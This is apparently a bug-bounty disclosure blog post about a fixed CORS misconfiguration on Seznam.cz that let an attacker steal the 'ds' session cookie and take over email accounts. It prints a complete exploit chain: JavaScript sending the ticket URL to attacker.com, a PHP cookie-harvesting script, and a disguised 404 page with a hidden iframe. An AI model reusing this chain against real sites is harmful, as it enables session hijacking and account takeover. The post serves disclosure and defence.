Cookies stealing on Seznam.cz and gaining access to victim's e-mail

30 November 2020

In this blog post I will describe a vulnerability that I found on Seznam.cz. It was possible to steal an important value of cookie and get access to a victim's email account.

Parts:

In short, in order to steal cookies it was only needed to have a logged email account on Seznam.cz and then open a website with malicious code. No other interaction from a victim was needed. 😈

Probably you are thinking if you are not clicking on malicious links that you are not affected. It is not entirely true. It is necessary to realize that the attacker will not send the link as https://click-and-win.cz. Of course, he can send it, but the success of the attack will not be high - in this case a lot depends on the target group. It will be more successful if an attacker uses more advanced methods of social engineering or abuses vulnerabilities on the most visited sites.

Answer for yourself, how many times you clicked on any link on the social network this week? And are you really sure that a youtube video on Facebook had a direct link on youtube.com? Well, it didn't always have to be that way...and if you were logged in to your email on Seznam.cz at that same moment, someone else could gain access to your email 😱

About Seznam

Seznam.cz is the Czech number one on-line company. Founded in 1996, Seznam.cz combines a media house and technological company. The homepage of Seznam.cz (seznam.cz) is the gateway to the Internet for many Czechs, as more than 60% of on-line Czechs have www.seznam.cz installed as the homepage on their devices. (source)

Seznam, like four other companies in the world, was for a long time the number one search engine in its region. Other such search engines are Baidu (China), Naver (South Korea), Yahoo Japan (Japan) and Yandex (Russia).(source)

Seznam started with a search engine and an internet version of yellow pages. Today, Seznam runs almost 30 different web services and associated brands, for example: Email.cz (Email), Mapy.cz (Maps), Seznamzpravy.cz (News), Sport.cz (Sport), Novinky.cz (News), Super.cz (tabloid), Sreality.cz (real estate)

Statistics (October 2020):
Similarweb.com

Netmonitor (CZ stats)

Introduction

Seznam.cz is the gateway to the Internet for many Czechs. Many users still have, or at least had, an email on Seznam. Due to the number of e-mail accounts and the importance of the e-mail service, I decided to try to find a vulnerability that would lead to gaining access to another's email account without knowing its password.

Seznam Email is the most popular freemail service on the Czech internet. In total, it manages more than 33 million e-mail accounts, as of 10th November 2020, there were exactly 33,873,419 accounts and about 8 million of them were active.

Why is email so important? For most web applications, you enter your email, and if you forget your password, you can reset the new password to your email. There is a great danger in this. If an attacker gets access to your email, he could read all your received emails or send messages under your identity. Also he has an option to receive a forgotten password from your service, such as PayPal, Dropbox, Github, Facebook or others. By sending a new password to the email, the attacker gains access to your service (except services with set up 2FA/MFA for login).

An email account is a center point of web applications. If an attacker gets access to your email then he could have access to your other internet services. For this reason, I would not hesitate to say that email is the most important internet service. Due to the high-security risk, the email should be secured as possible.

Findings

During analyzing how web applications on Seznam.cz work, I found that CORS requests are allowed for some API endpoints (/api/v1/user/badge, /api/v1/users/profile, /api/v1/user/properties/lang...) and these requests were allowed for Seznam's domains (Mapy.cz, Super.cz etc.).

Except for allowed domains, requests from any subdomain were accepted too.
According to the response header Access-Control-Allow-Credentials: true it was possible to send all these requests with cookies => CORS Misconfiguration.

All requests contained in the response unuseful data or only basic user information. Each request also always created another ds cookie.

ds cookie is a persistent cookie for user authentication on websites under Seznam - all websites are using logging via Seznam Email. In the following video, Martin Haller explains how this cookie works: https://www.youtube.com/watch?v=GTQPrWg6_x0

According to browser rules, the Set-Cookie header in response is not accessible by javascript, so cookie stealing in this way was not possible (https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie, https://fetch.spec.whatwg.org/#forbidden-response-header-name).

One interesting request was sent when a user was logged in to his email and he visited Seznam's website where he wasn't logged in. For example, a user was logged into Email.cz and then he visited website Sport.cz. If this situation occurred, the user was automatically logged in. During the action following POST request was sent:

https://login.szn.cz/api/v1/autologin?service=sport&return_url=http%3A%2F%2Flogin.seznam.cz

The response to the request was status code 303 SEE OTHER followed by a redirect to login.seznam.cz/ticket/{generated value}:

https://login.seznam.cz/ticket/2%7CureKCTec770kN1BSVwBHUFVRRQ5BWhNSNxYNKkQQZn0SaCzBs3gpQTpyAHYqlo6qN6LYkX51O5a1DbbYjamjtLI

Then the response was 200 OK. In the response header new cookies values were created and in the response body were basic user information. The whole communication looked like this:


(Note: If a status code 3xx is returned to a browser, the browser always follows the address in "Location". Obtaining "Location" from the response with status code 3xx is not possible with javascript, or I don't know how to do that 🤔)

Interesting behavior was that the URL with "ticket" was valid for exactly 30 seconds and during this time it was possible to send the request again. After that the link was expired and the /api/v1/autologin request had to be resend again.

Another interesting fact was that the URL did not need cookies in the request, so it was possible to send a valid request without cookies.


As I have already written, the response of the URL with "ticket" contained basic information about the logged in user. It was specifically a name, surname and username. With normal use of CORS Misconfiguration, it was possible to steal these data. If these data get leaked, this would not be such a big security problem. I focused primarily on risk with high impact, so I analyzed Seznam web applications more...

After a while, I realized that I actually know all the important information 😊 (explained in the part - Exploit)

Now it was necessary to exploit the CORS Misconfiguration - allowed requests from any Seznam's domain or subdomain. This finding is not exploitable by itself and I had to find a XSS vulnerability. So I started looking for it...

I remembered one old Seznam service that would help me a lot. Someone will remember the time of blogging and even Seznam has a blogging service, it's called Sblog. Unfortunately, this service no longer exists today, as of 31st December 2011, the operation of Sblog.cz was terminated.

I remembered another similar service… Sweb. And this service still works! 😊

Sweb.cz is free webhosting from Seznam, where users are given 100 MB of space for their website. When a website is created then all content is located on http://username.sweb.cz.
So I tried if the Sweb domain is allowed.

Domain was allowed. And subdomain?

Everything was allowed! 😊

So I didn't have to look for XSS, I had everything I needed. I had a webhosting where I could upload HTML page with my script.

As a bonus Sweb was missing security header X-Frame-Options. (All security headers was missing but X-Frame-Options was the most important for loading page in iframe)

Summary of important information before writing an exploit:

  • CORS Misconfiguration – allowed domain and subdomain for sweb.cz
  • URL with "ticket" was possible to send repeatedly and expiry time was 30 sec
  • URL didn't require cookies in the request
  • Missing security header X-Frame-Options on Sweb

Exploit

As I mentioned in the previous section, with "normal" use of CORS Misconfiguration data are received from response body (=victim's data are stolen from the response) and usually javascript code looks like this:

var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
        console.log(this.responseText);
    }
};
xhttp.open("GET", "https://example.com", true);
xhttp.withCredentials = true;
xhttp.send();

I read a lot of reports with CORS Misconfiguration and I have not seen different use than with responseText, for example:

In this way, I would only get basic user data, which would have no big impact. After research, I finally figured it out and I changed CORS exploit a little.

If I knew that link with "ticket" is reusable then following change was enough:

console.log(this.responseText);
console.log(this.responseURL);

With change from responseText to responseURL I was able to get the last URL after all redirections (docs). In my case I got an URL with "ticket". Because the URL with "ticket" was reusable for 30 sec and it was possible to send a valid request without cookies. I had everything for getting new cookie values from the response header.

It was needed to send "ticket" URL to my server and then to send the request again during 30 sec. By sending the request from a server which I had access to, I was able to get a response, including all response headers, especially the Set-Cookie header. 😊

Exploit flow:

  1. On testdomena.sweb.cz I create an HTML page with a script. Script going to send a request on Seznam API with cookies. (/api/v1/autologin, withCredentials=true)
  2. If a user is logged in(status code 200) then I get URL with ticket (responseURL)
  3. I immediately send URL with ticket to my server (30 sec expiration)
  4. On my server I get URL and I send request again via curl (no cookies are needed)
  5. I get header Set-Cookie - especially ds cookie from that response 🍪
  6. + Missing security header on Sweb which I was able to load in iframe

http://testdomena.sweb.cz

<script>
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200){
        xhttp.open("GET", "https://attacker.com/getcookies.php?c=" + xhttp.responseURL, true);
        xhttp.send();
    }
};
xhttp.open("POST", "https://login.szn.cz/api/v1/autologin?service=homepage&return_url=http%3A%2F%2Flogin.seznam.cz", true);
xhttp.setRequestHeader("Accept","application/json");
xhttp.withCredentials = true;
xhttp.send();
</script>

https://attacker.com/getcookies.php - cookies will be saved in file log.txt

<?php
$url = $_GET["c"];   //getting url from parameter c
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'log.txt');
$output = curl_exec($ch);
curl_close($ch);
?>

http://example.com - hidden iframe on any domain loading testdomena.sweb.cz

<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /2020/06/10/internet-a-pc was not found on this server.</p>
<iframe src="http://testdomena.sweb.cz" style="width:0;height:0;border:0; border:none;">
</body></html>

Result:

User was shown the „Not Found“ page with hidden iframe which loaded website on Sweb. So it was enough for the victim to be logged in to the e-mail and open a link where the attacker's code was loaded (iframe on the Sweb). Immediately after visiting such a site, cookies were stolen. 🍪

Examples of possible attacks

Webhosting Sweb.cz doesn't have SSL certificate so loading iframe was possible only from a domain without a certificate (HTTP -> iframe HTTP). In a real attack it could be a problem because a link to the "http" page could look untrustworthy. One solution for the attacker could be to redirect the victim from the HTTPS domain to HTTP domain. Rather, a more appropriate solution could be to find the XSS vulnerability on a domain/subdomain under Seznam with a valid certificate and use that domain in an iframe (instead of a Sweb page). The XSS vulnerability was later also found, so an attack was possible from domains with a valid certificate too - from any http(s) domain.

Link in email message

An attacker could write a message that contains a link to a page with malicious code. In this case, the attacker would be sure that the user is logged in. The email had to be written trustworthy for the victim to click on the link.

Exploiting the vulnerability on another website

An attacker would exploit the vulnerability on another, on of the most visited websites. For example, by exploiting the Stored XSS vulnerability, the victim would not have to do any specific interaction. Only browsing such a website could lead to an attack in the background, for example cookies stealing on Seznam.

Link on social networks

Social networks happen to be a problem not only because the people spend a lot of time on these sites, it is also a security problem. There are often used URL shortcuts on Twitter, such as bit.ly or shortcuts from Twitter https://t.co. The problem is that a lot of users do not check where the link actually leads. Just one click on an unknown link from shortener and cookies could be stolen. There are also other and more interesting ways of using social engineering on social networks, such as Facebook ...

Video of possible attack:

In the video, you see an example of an attack where just a simple click on a seemingly legitimate link causes these actions in the background:

  • Cookies stealing
  • Set the rule that all incoming emails will be forwarded in a copy to the attacker's email
  • Adding attacker's email as new email with access to victim's account
  • The attack was carried out without any user warning. So the victim can't know that someone else currently has access to his email.

Recommendation for users

For security reasons, I would recommend deleting all active sessions (https://profil.seznam.cz/sessions) and current active session too (if you just logged in, you don't have to). If an attack has been made on you, the stolen session will be invalidated and the attacker will be logged out. I would also recommend checking your email settings and deleting any suspicious values.

I recommend check these sections:

  • Email sharing (https://email.seznam.cz/settings#/multiuser)
    If an attacker has added their e-mail to "Email sharing", they still have access to your e-mail box, even after deleting all sessions.
  • Rules (https://email.seznam.cz/settings#/rules)
    With set rules, he would not have access to your inbox, but in the worst case, a copy of all your incoming mail would be forwarded to his email address. Alternatively, he could set a rule that a forgotten password from another service will be forwarded directly to another email.

Conclusion

The vulnerability could be exploited on all devices, regardless of the type of a device (PC, tablet, mobile), type of an operating system or type of browser. The only exceptions were Internet Explorer (responseURL doesn't work in IE docs), browsers with extensions that stop javascript (NoScript) or native mobile applications from Seznam.

Some may think that using Gmail provides greater security. I would like to remind you that every more complex web application/service has a smaller or larger security vulnerability..

Even companies like Google don't avoid security flaws. Google paid $ 6.5 million in rewards to ethical hackers and security researchers in 2019. $ 2.1 million of this amount was paid for vulnerabilities rewars in web applications. It could be said that there are web vulnerabilities reported to Google every day(!) with a reward of about $ 5,800. According to their reward program, this means that they may have reported a SQL injection vulnerability every second or third day.(https://security.googleblog.com/2020/01/vulnerability-reward-program-2019-year.html, https://www.google.com/about/appsecurity/reward-program/#rewards, https://www.google.com/about/appsecurity/reward-program/#rewards)

Q&A

Is it still possible to exploit the vulnerability?
No, the vulnerability is already fixed.

If I have antivirus installed on my computer am I protected against exploiting this vulnerability?
No. Antivirus does not protect against this type of vulnerability.

I have been logged in to e-mail for a long time, but I have 2FA/MFA verification. Did the vulnerability affect my account?
Yes, 2FA or MFA did not affect the exploitation of the vulnerability.

I have been logged in to e-mail for a long time, but I have a strong password. Did the vulnerability affect my account?
Yes. The complexity or length of the password did not affect the exploitation of the vulnerability.

I didn't find anything unusual in my email settings. Does this mean that my email account wasn't under attack?
It can't be confirmed. The attack could have already been executed and the attacker could have "cleaned up" after the attack. If you delete all active sessions (see recommendation), you'll be sure that an attacker won't be able to access your account from now on (if he had it till now).

Which Seznam services were possible to use a stolen cookie for?
The attacker could login to services as: Seznam Email, Email Profi, Lide.cz, Firmy.cz, Sreality.cz, Sbazar.cz.
The cookie was not possible to use on services with a „Client zone“ (Sklik, Seznam Peněženka).

Timeline

09. 6. 2020 15:22 Reported vulnerability
10. 6. 2020 11:31 Email confirmed
10. 6. 2020 17:32 Released hotfix - domain and subdomain sweb.cz was blocked for CORS requests. There was still a risk if someone used XSS on (sub)domain under Seznam.
17. 6. 2020 Reported vulnerability Reflected XSS on Seznam subdomain (video, img)
18. 6. 2020 Reflected XSS was fixed
14. 9. 2020 To this date vulnerability from this blog post was fixed.